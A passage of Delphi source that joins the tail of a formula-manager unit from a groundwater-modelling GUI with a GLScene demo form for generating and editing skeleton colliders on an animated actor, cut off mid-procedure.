AnObject: TObject;
Listener: TObserver;
Notifier: TObserver;
PhastModel: TPhastModel;
begin
Remove(FormulaObject, OnRemoveSubscription, OnRestoreSubscription, Subject);
APointer := nil;
if NewFormula = '' then
begin
FormulaObject := Add;
end
// else if FSortedList.Find(NewFormula, AnObject) then
else if FSortedList.Search(NewFormula, APointer) then
begin
AnObject := APointer;
FormulaObject := AnObject as TFormulaObject;
Inc(FormulaObject.FReferenceCount);
end
else
begin
FormulaObject := TFormulaObject.Create(nil);
FormulaObject.Parser := Parser;
FormulaObject.SetFormula(NewFormula);
// if FSortedList.Find(FormulaObject.Formula, AnObject)
if FSortedList.Search(FormulaObject.Formula, APointer)
then
begin
AnObject := APointer;
FormulaObject.Free;
FormulaObject := AnObject as TFormulaObject;
Inc(FormulaObject.FReferenceCount);
end
else
begin
FormulaObject.FPosition := FList.Add(FormulaObject);
// FSortedList.Add(FormulaObject.Formula, FormulaObject);
FSortedList.Insert(FormulaObject.Formula, FormulaObject);
end;
end;
FormulaObject.AddSubscriptionEvents(OnRemoveSubscription,
OnRestoreSubscription, Subject);
// This is imperfect because not all Subjects will
// be TObservers.
if Subject is TObserver then
begin
if FormulaObject.FExpression <> nil then
begin
PhastModel := frmGoPhast.PhastModel;
if PhastModel <> nil then
begin
Notifier :=PhastModel.LayerStructure.SimulatedNotifier;
if Notifier <> nil then
begin
Listener := TObserver(Subject);
if FormulaObject.FExpression.UsesFunction(StrBcfVCONT)
or FormulaObject.FExpression.UsesFunction(StrHufKx)
or FormulaObject.FExpression.UsesFunction(StrHufKy)
or FormulaObject.FExpression.UsesFunction(StrHufKz)
or FormulaObject.FExpression.UsesFunction(StrHufSs)
or FormulaObject.FExpression.UsesFunction(StrHufAverageSy)
or FormulaObject.FExpression.UsesFunction(StrHufSy)
then
begin
Notifier.TalksTo(Listener);
end
else
begin
Notifier.StopsTalkingTo(Listener);
end;
end;
Notifier :=PhastModel.LayerStructure.AquiferTypeNotifier;
if Notifier <> nil then
begin
Listener := TObserver(Subject);
if FormulaObject.FExpression.UsesFunction(StrHufKx)
then
begin
Notifier.TalksTo(Listener);
PhastModel.HufKxNotifier.TalksTo(Listener);
end
else
begin
Notifier.StopsTalkingTo(Listener);
PhastModel.HufKxNotifier.StopsTalkingTo(Listener);
end;
if FormulaObject.FExpression.UsesFunction(StrHufKy)
then
begin
Notifier.TalksTo(Listener);
PhastModel.HufKyNotifier.TalksTo(Listener);
end
else
begin
Notifier.StopsTalkingTo(Listener);
PhastModel.HufKyNotifier.StopsTalkingTo(Listener);
end;
if FormulaObject.FExpression.UsesFunction(StrHufKz)
then
begin
Notifier.TalksTo(Listener);
PhastModel.HufKzNotifier.TalksTo(Listener);
end
else
begin
Notifier.StopsTalkingTo(Listener);
PhastModel.HufKzNotifier.StopsTalkingTo(Listener);
end;
if FormulaObject.FExpression.UsesFunction(StrHufSs)
then
begin
Notifier.TalksTo(Listener);
PhastModel.HufSsNotifier.TalksTo(Listener);
end
else
begin
Notifier.StopsTalkingTo(Listener);
PhastModel.HufSsNotifier.StopsTalkingTo(Listener);
end;
if FormulaObject.FExpression.UsesFunction(StrHufAverageSy)
or FormulaObject.FExpression.UsesFunction(StrHufSy)
then
begin
Notifier.TalksTo(Listener);
PhastModel.HufSyNotifier.TalksTo(Listener);
end
else
begin
Notifier.StopsTalkingTo(Listener);
PhastModel.HufSyNotifier.StopsTalkingTo(Listener);
end;
end;
end;
end;
end;
end;
procedure TFormulaManager.Clear;
begin
FList.Clear;
FSortedList.Free;
FSortedList:= THashTableFacade.Create;
FSortedList.IgnoreCase := False;
end;
constructor TFormulaManager.Create;
begin
FList := TObjectList.Create;
FSortedList:= THashTableFacade.Create;
FSortedList.IgnoreCase := False;
end;
destructor TFormulaManager.Destroy;
begin
FSortedList.Free;
FList.Free;
FEmptyFormula.Free;
inherited;
end;
procedure TFormulaManager.FixSubscriptions;
var
Index: Integer;
FormulaObject: TFormulaObject;
begin
for Index := 0 to FList.Count - 1 do
begin
FormulaObject := FList[Index];
if FormulaObject <> nil then
begin
FormulaObject.FixSubscriptions;
end;
end;
end;
function TFormulaManager.FunctionUsed(AString: string): boolean;
var
FunctionIndex: Integer;
FormulaObject: TFormulaObject;
AFormula: string;
begin
result := False;
AString := UpperCase(AString);
for FunctionIndex := 0 to FList.Count - 1 do
begin
FormulaObject := FList[FunctionIndex];
if FormulaObject <> nil then
begin
AFormula := FormulaObject.Formula;
AFormula := UpperCase(AFormula);
result := Pos(AString, AFormula) >= 1;
if result then
begin
Exit;
end;
end;
end;
end;
procedure TFormulaManager.Pack;
var
Index: Integer;
FormulaObject: TFormulaObject;
begin
for Index := 0 to FList.Count - 1 do
begin
FormulaObject := FList[Index];
if FormulaObject <> nil then
begin
Assert(FormulaObject.FReferenceCount >= 0);
if FormulaObject.FReferenceCount = 0 then
begin
FSortedList.Delete(FormulaObject.Formula);
Assert(FList[FormulaObject.FPosition] = FormulaObject);
FList[FormulaObject.FPosition] := nil;
end;
end;
end;
FList.Pack;
for Index := 0 to FList.Count - 1 do
begin
FormulaObject := FList[Index];
FormulaObject.FPosition := Index;
FormulaObject.FSubjectList.Pack;
end;
end;
procedure TFormulaManager.Remove(FormulaObject: TFormulaObject;
OnRemoveSubscription, OnRestoreSubscription:TChangeSubscription; Subject: TObject);
begin
if (FormulaObject = nil)
or ((frmGoPhast.PhastModel <> nil)
and ((csDestroying in frmGoPhast.PhastModel.ComponentState)
or frmGoPhast.PhastModel.Clearing)) then
begin
Exit;
end;
if FormulaObject = FEmptyFormula then
begin
FormulaObject.FOnRemoveSubscriptionList.Clear;
FormulaObject.FOnRestoreSubscriptionList.Clear;
end
else
begin
FormulaObject.DeleteSubscriptionEvents(OnRemoveSubscription,
OnRestoreSubscription, Subject);
Dec(FormulaObject.FReferenceCount);
Assert(FormulaObject.FReferenceCount >= 0);
if (FormulaObject.FReferenceCount = 0)
and (frmGoPhast.PhastModel <> nil) and
not (csLoading in frmGoPhast.PhastModel.ComponentState) then
begin
FSortedList.Delete(FormulaObject.Formula);
if (FormulaObject.FPosition < FList.Count)
and (FList[FormulaObject.FPosition] = FormulaObject) then
begin
FList[FormulaObject.FPosition] := nil;
while (FList.Count > 0) and (FList[FList.Count -1] = nil) do
begin
FList.Delete(FList.Count -1);
end;
end
else
begin
Assert(FList.IndexOf(FormulaObject)<0);
end;
end;
end;
end;
procedure TFormulaManager.RemoveSubscriptions(OldSubscriptions,
NewSubscriptions: TStringList);
var
Index: Integer;
FormulaObject: TFormulaObject;
begin
for Index := 0 to FList.Count - 1 do
begin
FormulaObject := FList[Index];
if FormulaObject <> nil then
begin
FormulaObject.RemoveSubscriptions(OldSubscriptions,
NewSubscriptions);
end;
end;
end;
procedure TFormulaManager.ResetFormulas;
var
Index: Integer;
FormulaObject : TFormulaObject;
DataArrayManager: TDataArrayManager;
AnotherFormulaObject: pointer;
begin
for Index := 0 to FList.Count - 1 do
begin
FormulaObject := FList[Index];
if FormulaObject <> nil then
begin
FormulaObject.ResetFormula;
end;
end;
FSortedList.Free;
FSortedList:= THashTableFacade.Create(Max(211, FList.Count*2-1));
FSortedList.IgnoreCase := True;
// FSortedList.TableSize := Max(211, FList.Count*2-1);
for Index := 0 to FList.Count - 1 do
begin
FormulaObject := FList[Index];
if FormulaObject <> nil then
begin
if not FSortedList.Search(FormulaObject.Formula, AnotherFormulaObject) then
begin
FSortedList.Insert(FormulaObject.Formula, FormulaObject);
end;
end;
end;
DataArrayManager := frmGoPhast.PhastModel.DataArrayManager;
for Index := 0 to DataArrayManager.DataSetCount - 1 do
begin
DataArrayManager.DataSets[Index].RefreshFormula;
end;
end;
procedure TFormulaManager.RestoreSubscriptions;
var
Index: Integer;
FormulaObject: TFormulaObject;
begin
for Index := 0 to FList.Count - 1 do
begin
FormulaObject := FList[Index];
if FormulaObject <> nil then
begin
FormulaObject.RestoreSubscriptions;
end;
end;
end;
end.
|
unit fMain;
interface
uses
Winapi.Windows,
Winapi.Messages,
System.SysUtils,
System.Variants,
System.Classes,
System.Math,
Vcl.Graphics,
Vcl.Controls,
Vcl.Forms,
Vcl.Dialogs,
Vcl.ExtCtrls,
Vcl.StdCtrls,
Vcl.ComCtrls,
Vcl.Menus,
GLScene,
GLMaterial,
GLVectorFileObjects,
GLObjects,
GLWin32Viewer,
GLVectorGeometry,
GLTexture,
GLCadencer,
GLFileSMD,
GLVectorLists,
GLGeomObjects,
GLCoordinates,
GLCrossPlatform,
GLBaseClasses,
uSkeletonColliders, GLGraph;
type
TMainForm = class(TForm)
GLScene1: TGLScene;
Panel1: TPanel;
GLSceneViewer1: TGLSceneViewer;
GLCamera1: TGLCamera;
GLLightSource1: TGLLightSource;
GLActor1: TGLActor;
GLCadencer1: TGLCadencer;
BonesCombo: TComboBox;
Label1: TLabel;
ColliderTypeCombo: TComboBox;
Label2: TLabel;
RadiusEdit: TEdit;
Label3: TLabel;
ObjectName: TLabel;
Button1: TButton;
Button2: TButton;
OpenDialog1: TOpenDialog;
SaveDialog1: TSaveDialog;
GroupBox1: TGroupBox;
Button3: TButton;
Label4: TLabel;
Label5: TLabel;
HeightEdit: TEdit;
Button4: TButton;
Button5: TButton;
Button6: TButton;
Button7: TButton;
CameraDummy: TGLDummyCube;
FrameLabel: TLabel;
TrackBar1: TTrackBar;
Label6: TLabel;
Label7: TLabel;
Label8: TLabel;
MainMenu1: TMainMenu;
File1: TMenuItem;
LoadModel1: TMenuItem;
AddAnimation1: TMenuItem;
Colliders1: TMenuItem;
Help1: TMenuItem;
Generate1: TMenuItem;
DeleteAll1: TMenuItem;
N2: TMenuItem;
Load1: TMenuItem;
Save1: TMenuItem;
Exit1: TMenuItem;
ReadMe1: TMenuItem;
N1: TMenuItem;
About1: TMenuItem;
Button8: TButton;
Button9: TButton;
DepthEdit: TEdit;
Label9: TLabel;
GLHeightField1: TGLHeightField;
procedure FormCreate(Sender: TObject);
procedure GLSceneViewer1MouseMove(Sender: TObject; Shift: TShiftState;
X, Y: Integer);
procedure GLSceneViewer1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure GLCadencer1Progress(Sender: TObject;
const deltaTime, newTime: Double);
procedure Button3Click(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure BonesComboChange(Sender: TObject);
procedure Button6Click(Sender: TObject);
procedure Button7Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure GLActor1FrameChanged(Sender: TObject);
procedure Button5Click(Sender: TObject);
procedure TrackBar1Change(Sender: TObject);
procedure Exit1Click(Sender: TObject);
procedure LoadModel1Click(Sender: TObject);
procedure AddAnimation1Click(Sender: TObject);
procedure Generate1Click(Sender: TObject);
procedure DeleteAll1Click(Sender: TObject);
procedure Button8Click(Sender: TObject);
procedure Load1Click(Sender: TObject);
procedure Save1Click(Sender: TObject);
procedure About1Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure FormMouseWheel(Sender: TObject; Shift: TShiftState;
WheelDelta: Integer; MousePos: TPoint; var Handled: Boolean);
private
public
mx, my: Integer;
procedure Reset;
end;
var
MainForm: TMainForm;
ColliderNames: TStrings;
ColliderRotations: TAffineVectorList;
SelectedCollider: TGLSceneObject;
procedure AlignSkeletonBoundingObjects(Actor: TGLActor;
CreateBoundingObjects: Boolean);
procedure CollidersToStrings(Actor: TGLActor; DescNames, ObjNames: TStrings);
procedure ExtractBoneIDsFromString(str: string; var BoneID1, BoneID2: Integer);
implementation
{$R *.dfm}
const
BaseColliderColor = clSkyBlue;
ActiveColliderColor = clRed;
AlphaLevel = 0.5;
procedure AlignSkeletonBoundingObjects(Actor: TGLActor;
CreateBoundingObjects: Boolean);
procedure RecursBones(bone: TGLSkeletonBone);
var
i, j, k: Integer;
BoneVertices: TAffineVectorList;
bounding_radius, temp: single;
a, a_hat: TAffineVector;
bounding_object: TGLBaseSceneObject;
begin
// Check if the bone has any children
if bone.count > 0 then
begin
// Loop through each of the bones children
for i := 0 to bone.count - 1 do
begin
bounding_object := nil;
// Are we generating the bounding objects?
if CreateBoundingObjects then
begin
// Get all vertices weighted to this bone
BoneVertices := TAffineVectorList.Create;
for j := 0 to Actor.MeshObjects.count - 1 do
with TGLSkeletonMeshObject(Actor.MeshObjects[j]) do
for k := 0 to Vertices.count - 1 do
if bone.BoneID = VerticesBonesWeights[k][0].BoneID then
BoneVertices.FindOrAdd(Vertices[k]);
// Now get the maximum vertex distance away from the line between
// the bone and it's child
bounding_radius := 0;
if BoneVertices.count > 0 then
begin
// Get the vector between the bone and it's child
a := AffineVectorMake(VectorSubtract(bone[i].GlobalMatrix.W,
bone.GlobalMatrix.W));
a_hat := VectorNormalize(a);
// Check each vertices distance from the line, set it to the
// bounding radius if it is the current maxiumum
for j := 0 to BoneVertices.count - 1 do
begin
temp := abs(PointLineDistance(BoneVertices[j],
AffineVectorMake(bone.GlobalMatrix.W), a_hat));
if temp > bounding_radius then
bounding_radius := temp;
end;
// Add GLScene object to the Actor and set up it's properties
// The collider is a child of a dummy to allow for custom
// transformations after generating the colliders
with Actor.AddNewChild(TGLDummyCube) do
bounding_object := AddNewChild(TGLCylinder);
with TGLCylinder(bounding_object) do
begin
Name := Format('Bone_%d_%d', [bone.BoneID, bone[i].BoneID]);
// Alignment:=caBottom;
TopRadius := bounding_radius;
BottomRadius := bounding_radius;
Height := VectorLength(a);
Parts := [cySides];
Material.FrontProperties.Diffuse.AsWinColor := BaseColliderColor;
Material.FrontProperties.Diffuse.Alpha := AlphaLevel;
Material.BlendingMode := bmTransparency;
Position.SetPoint(Height / 2, 0, 0);
Roll(90);
// Add the spheres to the ends of the cylinder (making
// a capsule)
with TGLSphere(AddNewChild(TGLSphere)) do
begin
Position.SetPoint(0, Height / 2, 0);
Radius := bounding_radius;
Bottom := 0;
Material.FrontProperties.Diffuse.AsWinColor :=
BaseColliderColor;
Material.FrontProperties.Diffuse.Alpha := AlphaLevel;
Material.BlendingMode := bmTransparency;
end;
with TGLSphere(AddNewChild(TGLSphere)) do
begin
Position.SetPoint(0, -Height / 2, 0);
Radius := bounding_radius;
Top := 0;
Material.FrontProperties.Diffuse.AsWinColor :=
BaseColliderColor;
Material.FrontProperties.Diffuse.Alpha := AlphaLevel;
Material.BlendingMode := bmTransparency;
end;
end;
end;
BoneVertices.Free;
end
else
begin
// OK, we're only aligning the objects to the skeleton so find
// the bounding_object if it exists
bounding_object :=
Actor.FindChild(Format('Bone_%d_%d',
[bone.BoneID, bone[i].BoneID]), False);
end;
// If there is a bounding_object assigned, align it to the skeleton
if Assigned(bounding_object) then
begin
bounding_object.Parent.Matrix := bone.GlobalMatrix;
end;
// Continue recursion into the child bones
RecursBones(bone[i]);
end;
end
else
begin
bounding_object := nil;
// Are we generating the bounding objects?
if CreateBoundingObjects then
begin
// Get all vertices weighted to this bone
BoneVertices := TAffineVectorList.Create;
for j := 0 to Actor.MeshObjects.count - 1 do
with TGLSkeletonMeshObject(Actor.MeshObjects[j]) do
for k := 0 to Vertices.count - 1 do
if bone.BoneID = VerticesBonesWeights[k][0].BoneID then
BoneVertices.FindOrAdd(Vertices[k]);
if BoneVertices.count > 0 then
begin
// Get the maximum vertex distance from the bone
bounding_radius := 0;
for j := 0 to BoneVertices.count - 1 do
begin
temp := abs(VectorLength(VectorSubtract(BoneVertices[j],
AffineVectorMake(bone.GlobalMatrix.W))));
if temp > bounding_radius then
bounding_radius := temp;
end;
// Add the sphere to the Actor and set up it's properties
// The collider is a child of a dummy to allow for custom
// transformations after generating the colliders
with Actor.AddNewChild(TGLDummyCube) do
bounding_object := AddNewChild(TGLSphere);
with TGLSphere(bounding_object) do
begin
Name := Format('Bone_%d', [bone.BoneID]);
Radius := bounding_radius;
Material.FrontProperties.Diffuse.AsWinColor := BaseColliderColor;
Material.FrontProperties.Diffuse.Alpha := AlphaLevel;
Material.BlendingMode := bmTransparency;
Roll(90);
end;
end;
BoneVertices.Free;
end
else
begin
// OK, we're only aligning the objects to the skeleton so find
// the bounding_object if it exists
bounding_object := Actor.FindChild
(Format('Bone_%d', [bone.BoneID]), False);
end;
// If there is a bounding_object assigned, align it to the skeleton
if Assigned(bounding_object) then
begin
bounding_object.Parent.Matrix := bone.GlobalMatrix;
end;
end;
end;
var
i: Integer;
begin
// Start the recursive traversal of the skeleton heirachy
for i := 0 to Actor.Skeleton.RootBones.count - 1 do
begin
RecursBones(Actor.Skeleton.RootBones[i]);
end;
end;
procedure CollidersToStrings(Actor: TGLActor; DescNames, ObjNames: TStrings);
procedure RecursBones(bone: TGLSkeletonBone);
var
i: Integer;
obj: TGLBaseSceneObject;
begin
// The bone is an end-node if it has no children
if bone.count > 0 then
begin
// Check each bone in relation to it's children
for i := 0 to bone.count - 1 do
begin
// Does this object exist?
obj := Actor.FindChild(Format('Bone_%d_%d',
[bone.BoneID, bone[i].BoneID]), False);
if Assigned(obj) then
begin
// It does, add the description and object name to the
// string lists
DescNames.Add(bone.Name + ' -> ' + bone[i].Name);
ObjNames.Add(obj.Name);
end;
// Continue the recursion
RecursBones(bone[i]);
end;
end
else
begin
// No children, check if this end-node exists
obj := Actor.FindChild(Format('Bone_%d', [bone.BoneID]), False);
if Assigned(obj) then
begin
// It does, add the description and object name to the
// string lists
DescNames.Add(bone.Name);
ObjNames.Add(obj.Name);
end;
end;
end;
var
i: Integer;
begin
// Start the recursive traversal of the skeleton heirachy
for i := 0 to Actor.Skeleton.RootBones.count - 1 do
begin
RecursBones(Actor.Skeleton.RootBones[i]);
end;
end;
procedure ExtractBoneIDsFromString(str: string; var BoneID1, BoneID2: Integer);
var
s: string;
begin
s := Copy(str, Pos('_', str) + 1, Length(str));
if Pos('_', s) > 0 then
begin
BoneID1 := StrToInt(Copy(s, 1, Pos('_', s) - 1));
BoneID2 := StrToInt(Copy(s, Pos('_', s) + 1, Length(s)));
end
else
begin
BoneID1 := StrToInt(s);
BoneID2 := -1;
end;
end;
procedure TMainForm.FormCreate(Sender: TObject);
var
i: Integer;
begin
// Put the path to the smd file here
SetCurrentDir('.\model\');
// Load model and animations
GLActor1.Reference := aarSkeleton;
GLActor1.LoadFromFile('Bdroid_a.smd');
GLActor1.AddDataFromFile('idle.smd');
GLActor1.AddDataFromFile('look_idle.smd');
GLActor1.AddDataFromFile('walk.smd');
GLActor1.AddDataFromFile('run.smd');
GLActor1.AddDataFromFile('jump.smd');
// Copy Frame 1 over Frame 0 because Frame 0 seems to
// have a different origin to the loaded animaitons.
GLActor1.Skeleton.Frames[0].Assign(GLActor1.Skeleton.Frames[1]);
// Stop the actor from moving around while animating
for i := 1 to GLActor1.Animations.count - 1 do
GLActor1.Animations[i].MakeSkeletalTranslationStatic;
GLActor1.AnimationMode := aamLoop;
// Assign a translucent green to the actor
with GLActor1.Material do
begin
BlendingMode := bmTransparency;
FrontProperties.Diffuse.AsWinColor := clGreen;
FrontProperties.Diffuse.Alpha := AlphaLevel;
end;
ColliderNames := TStringList.Create;
end;
procedure TMainForm.GLSceneViewer1MouseMove(Sender: TObject; Shift: TShiftState;
X, Y: Integer);
var
mat: TMatrix;
axis, axis2: TAffineVector;
begin
// Camera movement
if ssLeft in Shift then
begin
if ssShift in Shift then
GLCamera1.AdjustDistanceToTarget(1 - (my - Y) / 500)
else
GLCamera1.MoveAroundTarget(my - Y, mx - X);
end;
// Collider manipulation
if (ssRight in Shift) and (Assigned(SelectedCollider)) then
begin
if ssShift in Shift then
axis := VectorCrossProduct(SelectedCollider.Direction.AsAffineVector,
SelectedCollider.Up.AsAffineVector)
else if ssCtrl in Shift then
axis := SelectedCollider.Up.AsAffineVector
else
axis := SelectedCollider.Direction.AsAffineVector;
mat := SelectedCollider.Matrix;
mat.W := NullHMGPoint;
mat := MatrixMultiply(mat, CreateRotationMatrix(axis, (mx - X) / 40));
mat.W := SelectedCollider.Position.AsVector;
SelectedCollider.Matrix := mat;
end;
if (ssMiddle in Shift) and (Assigned(SelectedCollider)) then
begin
if ssCtrl in Shift then
begin
axis := SelectedCollider.Direction.AsAffineVector;
axis2 := VectorCrossProduct(SelectedCollider.Up.AsAffineVector,
SelectedCollider.Direction.AsAffineVector);
end
else
begin
axis := SelectedCollider.Up.AsAffineVector;
axis2 := VectorCrossProduct(SelectedCollider.Up.AsAffineVector,
SelectedCollider.Direction.AsAffineVector);
end;
SelectedCollider.Position.Translate(VectorScale(axis, -(my - Y) / 10));
SelectedCollider.Position.Translate(VectorScale(axis2, -(mx - X) / 10));
end;
mx := X;
my := Y;
end;
procedure TMainForm.GLSceneViewer1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
mx := X;
my := Y;
end;
procedure TMainForm.GLCadencer1Progress(Sender: TObject;
const deltaTime, newTime: Double);
begin
if ColliderNames.count > 0 then
AlignSkeletonBoundingObjects(GLActor1, False);
end;
procedure TMainForm.Button3Click(Sender: TObject);
begin
GLCadencer1.Enabled := not GLCadencer1.Enabled;
if GLCadencer1.Enabled then
Button3.Caption := 'Pause animation'
else
Button3.Caption := 'Play animation';
end;
procedure TMainForm.FormDestroy(Sender: TObject);
begin
ColliderNames.Free;
end;
procedure TMainForm.FormMouseWheel(Sender: TObject; Shift: TShiftState;
WheelDelta: Integer; MousePos: TPoint; var Handled: Boolean);
begin
GLCamera1.AdjustDistanceToTarget(Power(1.1, WheelDelta / 120));
end;
procedure TMainForm.BonesComboChange(Sender: TObject);
var
TempCollider: TGLSceneObject;
i: Integer;
begin
if BonesCombo.ItemIndex > -1 then
begin
ObjectName.Caption := BonesCombo.Text;
TempCollider := TGLSceneObject
(GLActor1.FindChild(ColliderNames[BonesCombo.ItemIndex], False));
if Assigned(TempCollider) then
begin
if Assigned(SelectedCollider) then
begin
with SelectedCollider.Material.FrontProperties do
begin
Diffuse.AsWinColor := BaseColliderColor;
Diffuse.Alpha := AlphaLevel;
end;
if SelectedCollider is TGLCylinder then
for i := 0 to SelectedCollider.count - 1 do
with TGLSphere(SelectedCollider.Children[i])
.Material.FrontProperties do
begin
Diffuse.AsWinColor := BaseColliderColor;
Diffuse.Alpha := AlphaLevel;
end;
SelectedCollider.ShowAxes := False;
end;
SelectedCollider := TempCollider;
with SelectedCollider.Material.FrontProperties do
begin
Diffuse.AsWinColor := ActiveColliderColor;
Diffuse.Alpha := AlphaLevel;
end;
if SelectedCollider is TGLCylinder then
for i := 0 to SelectedCollider.count - 1 do
with TGLSphere(SelectedCollider.Children[i])
.Material.FrontProperties do
begin
Diffuse.AsWinColor := ActiveColliderColor;
Diffuse.Alpha := AlphaLevel;
end;
if SelectedCollider is TGLSphere then
with TGLSphere(SelectedCollider) do
begin
ColliderTypeCombo.ItemIndex := 0;
RadiusEdit.Text := FloatToStr(Radius);
HeightEdit.Text := '';
end;
if SelectedCollider is TGLCylinder then
with TGLCylinder(SelectedCollider) do
begin
ColliderTypeCombo.ItemIndex := 1;
RadiusEdit.Text := FloatToStr(TopRadius);
HeightEdit.Text := FloatToStr(Height);
end;
SelectedCollider.ShowAxes := True;
end;
end;
end;
procedure TMainForm.Button6Click(Sender: TObject);
begin
AlignSkeletonBoundingObjects(GLActor1, True);
BonesCombo.Clear;
ColliderNames.Clear;
CollidersToStrings(GLActor1, BonesCombo.Items, ColliderNames);
Button6.Enabled := False;
Button7.Enabled := True;
Generate1.Enabled := False;
DeleteAll1.Enabled := True;
end;
procedure TMainForm.Button7Click(Sender: TObject);
begin
if Application.MessageBox('Are you sure you want to delete the colliders?',
'Confirm', MB_YESNO) = ID_YES then
Reset;
end;
procedure TMainForm.Button1Click(Sender: TObject);
var
i: Integer;
SkeletonColliders: TSkeletonColliders;
begin
OpenDialog1.Filter := 'SMC files|*.smc|All files|*.*';
if not OpenDialog1.Execute then
exit;
Reset;
SkeletonColliders := TSkeletonColliders.Create;
SkeletonColliders.LoadFromFile(OpenDialog1.FileName);
for i := 0 to SkeletonColliders.count - 1 do
begin
if SkeletonColliders[i] is TSkeletonColliderSphere then
begin
with GLActor1.AddNewChild(TGLDummyCube) do
begin
Matrix := GLActor1.Skeleton.BoneByID(SkeletonColliders[i].Bone1)
.GlobalMatrix;
with TGLSphere(AddNewChild(TGLSphere)) do
begin
if SkeletonColliders[i].Bone2 <> -1 then
Name := Format('Bone_%d_%d', [SkeletonColliders[i].Bone1,
SkeletonColliders[i].Bone2])
else
Name := Format('Bone_%d', [SkeletonColliders[i].Bone1]);
Radius := TSkeletonColliderSphere(SkeletonColliders[i]).Radius;
Material.FrontProperties.Diffuse.AsWinColor := BaseColliderColor;
Material.FrontProperties.Diffuse.Alpha := AlphaLevel;
Material.BlendingMode := bmTransparency;
Matrix := TSkeletonColliderSphere(SkeletonColliders[i]).Matrix;
end;
end;
end
else if SkeletonColliders[i] is TSkeletonColliderCapsule then
begin
with GLActor1.AddNewChild(TGLDummyCube) do
begin
Matrix := GLActor1.Skeleton.BoneByID(SkeletonColliders[i].Bone1)
.GlobalMatrix;
with TGLCylinder(AddNewChild(TGLCylinder)) do
begin
if SkeletonColliders[i].Bone2 <> -1 then
Name := Format('Bone_%d_%d', [SkeletonColliders[i].Bone1,
SkeletonColliders[i].Bone2])
else
Name := Format('Bone_%d', [SkeletonColliders[i].Bone1]);
TopRadius := TSkeletonColliderCapsule(SkeletonColliders[i]).Radius;
BottomRadius := TopRadius;
Height := TSkeletonColliderCapsule(SkeletonColliders[i]).Height;
Parts := [cySides];
Material.FrontProperties.Diffuse.AsWinColor := BaseColliderColor;
Material.FrontProperties.Diffuse.Alpha := AlphaLevel;
Material.BlendingMode := bmTransparency;
Matrix := TSkeletonColliderCapsule(SkeletonColliders[i]).Matrix;
// Add the spheres to the ends of the cylinder (making
// a capsule)
with TGLSphere(AddNewChild(TGLSphere)) do
begin
Position.SetPoint(0, Height / 2, 0);
Radius := TopRadius;
Bottom := 0;
Material.FrontProperties.Diffuse.AsWinColor := BaseColliderColor;
Material.FrontProperties.Diffuse.Alpha := AlphaLevel;
Material.BlendingMode := bmTransparency;
end;
with TGLSphere(AddNewChild(TGLSphere)) do
begin
Position.SetPoint(0, -Height / 2, 0);
Radius := TopRadius;
Top := 0;
Material.FrontProperties.Diffuse.AsWinColor := BaseColliderColor;
Material.FrontProperties.Diffuse.Alpha := AlphaLevel;
Material.BlendingMode := bmTransparency;
end;
end;
end;
end;
end;
SkeletonColliders.Free;
BonesCombo.Clear;
ColliderNames.Clear;
CollidersToStrings(GLActor1, BonesCombo.Items, ColliderNames);
Button6.Enabled := False;
Button7.Enabled := True;
Generate1.Enabled := False;
DeleteAll1.Enabled := True;
end;
procedure TMainForm.Button2Click(Sender: TObject);
var
i, b1, b2: Integer;
SkeletonColliders: TSkeletonColliders;
obj: TGLBaseSceneObject;
begin
SaveDialog1.Filter := 'SMC files|*.smc|All files|*.*';
if not SaveDialog1.Execute then
exit;
SkeletonColliders := TSkeletonColliders.Create;
with SkeletonColliders do
for i := 0 to ColliderNames.count - 1 do
begin
obj := GLActor1.FindChild(ColliderNames[i], False);
if Assigned(obj) then
begin
ExtractBoneIDsFromString(ColliderNames[i], b1, b2);
if obj is TGLSphere then
with TSkeletonColliderSphere.CreateOwned(SkeletonColliders) do
begin
Bone1 := b1;
Bone2 := b2;
Radius := TGLSphere(obj).Radius;
Matrix := obj.Matrix;
end
else if obj is TGLCylinder then
begin
with TSkeletonColliderCapsule.CreateOwned(SkeletonColliders) do
begin
Bone1 := b1;
Bone2 := b2;
Radius := TGLCylinder(obj).TopRadius;
Height := TGLCylinder(obj).Height;
Matrix := obj.Matrix;
end
end;
end;
end;
SkeletonColliders.SaveToFile(SaveDialog1.FileName);
SkeletonColliders.Free;
end;
procedure TMainForm.GLActor1FrameChanged(Sender: TObject);
begin
FrameLabel.Caption := Format('Frame : %d (%s)',
[GLActor1.CurrentFrame, GLActor1.CurrentAnimation]);
end;
procedure TMainForm.Button5Click(Sender: TObject);
begin
if SelectedCollider is TGLSphere then
with TGLSphere(SelectedCollider) do
begin
ColliderTypeCombo.ItemIndex := 0;
RadiusEdit.Text := FloatToStr(Radius);
HeightEdit.Text := '';
end;
if SelectedCollider is TGLCylinder then
with TGLCylinder(SelectedCollider) do
begin
ColliderTypeCombo.ItemIndex := 1;
RadiusEdit.Text := FloatToStr(TopRadius);
HeightEdit.Text := FloatToStr(Height);
end;
end;
procedure TMainForm.TrackBar1Change(Sender: TObject);
begin
GLActor1.Interval := TrackBar1.Position;
end;
procedure TMainForm.Exit1Click(Sender: TObject);
begin
MainForm.Close;
end;
procedure TMainForm.LoadModel1Click(Sender: TObject);
begin
OpenDialog1.Filter := 'SMD files|*.smd|All files|*.*';
if not OpenDialog1.Execute then
exit;
Reset;
SetCurrentDir(ExtractFileDir(OpenDialog1.FileName));
GLActor1.LoadFromFile(ExtractFileName(OpenDialog1.FileName));
end;
procedure TMainForm.Reset;
begin
GLActor1.DeleteChildren;
GLSceneViewer1.Invalidate;
BonesCombo.Clear;
ColliderNames.Clear;
ColliderTypeCombo.ItemIndex := -1;
RadiusEdit.Text := '';
HeightEdit.Text := '';
SelectedCollider := nil;
Button6.Enabled := True;
Button7.Enabled := False;
Generate1.Enabled := True;
DeleteAll1.Enabled := False;
end;
procedure TMainForm.AddAnimation1Click(Sender: TObject);
begin
OpenDialog1.Filter := 'SMD files|*.smd|All files|*.*';
if not OpenDialog1.Execute then
exit;
SetCurrentDir(ExtractFileDir(OpenDialog1.FileName));
GLActor1.AddDataFromFile(ExtractFileName(OpenDialog1.FileName));
GLActor1.Skeleton.Frames[0].Assign(GLActor1.Skeleton.Frames[1]);
GLActor1.Animations[GLActor1.Animations.count - 1]
.MakeSkeletalTranslationStatic;
end;
procedure TMainForm.Generate1Click(Sender: TObject);
begin
